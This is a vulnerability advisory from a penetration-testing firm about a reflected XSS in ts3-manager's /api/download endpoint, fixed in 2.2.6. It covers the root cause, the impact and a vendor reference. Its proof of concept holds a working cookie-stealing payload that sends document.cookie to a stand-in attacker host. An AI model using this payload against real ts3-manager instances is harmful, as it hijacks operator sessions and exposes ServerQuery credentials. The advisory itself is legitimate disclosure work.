ts3-manager: Reflected XSS in /api/download Steals the Operator Session

The /api/download port parameter, reflected unescaped as HTML, lets JavaScript run in an authenticated operator’s origin; one click on a crafted link steals the token cookie and the cleartext-stored ServerQuery password.

Advisory ID: TP-2026-016
Product: ts3-manager (web-based management interface for TeamSpeak 3 servers)
Vulnerability type: Reflected cross-site scripting (CWE-79)
CVE: CVE-2026-54253
CVSS 3.1: 8.2 (High) · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Affected versions: < 2.2.6
Fixed in: 2.2.6
Vendor advisory: GHSA-3cgm-7p4g-gffj
Reported: 1 June 2026

Summary

ts3-manager is a web-based management interface for TeamSpeak 3 servers. The /api/download endpoint reflects the port query parameter unescaped into an error response served with Content-Type: text/html, and CSP and nosniff headers are absent. When an authenticated operator clicks a crafted link, the injected markup executes in the manager’s origin. Because the session token lives in a cookie without HttpOnly, the script can read it and send it to the attacker; the Socket.io autofillform event then allows the cleartext ServerQuery password (serveradmin) to be recovered. As a result, a single click hijacks the operator session and, when the operator holds admin privileges, the entire TeamSpeak server. turingpoint verified the flow and reported it responsibly to the vendor.

Root cause

In packages/server/routes/api.js, the /api/download query parameters are not validated, and the port value flows unchanged into error handling. The error message (connect ENOENT <port>) is returned as text/html with no output encoding, so HTML and script markup execute in the browser. This is compounded by missing protective headers (no Content-Security-Policy, no X-Content-Type-Options, no X-Frame-Options). The session token is stored in a cookie without HttpOnly, Secure, and SameSite (packages/ui/src/store/modules/query.js), making it readable by the injected script. Finally, the Socket.io autofillform event (packages/server/socket.js) returns the full decoded JWT including the cleartext password, allowing the ServerQuery credentials to be recovered.

Proof of Concept

Prerequisite is an authenticated operator who opens an attacker-crafted link:

# Crafted link an authenticated operator clicks; the port value is reflected
# unescaped into a text/html error response:
GET /api/download?port=%3Csvg/onload=fetch('http://attacker/?c='%2Bdocument.cookie)%3E&size=1&name=x HTTP/1.1
Host: <manager>
Cookie: token=<victim-jwt>

# Response:
HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=utf-8

connect ENOENT <svg/onload=fetch('http://attacker/?c='+document.cookie)>

The reflected <svg onload=...> executes in the manager’s origin, exfiltrates the token cookie, and triggers theft of the ServerQuery credentials via autofillform.

Impact

  • Hijacking of an authenticated operator’s session through a single click on a crafted link.
  • Disclosure of the cleartext-stored ServerQuery password via the autofillform event.
  • Full control over the TeamSpeak server when the operator holds admin privileges.
  • Persistent access through newly minted Server Admin keys.

References

Is Something Like This in Your Software?

Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.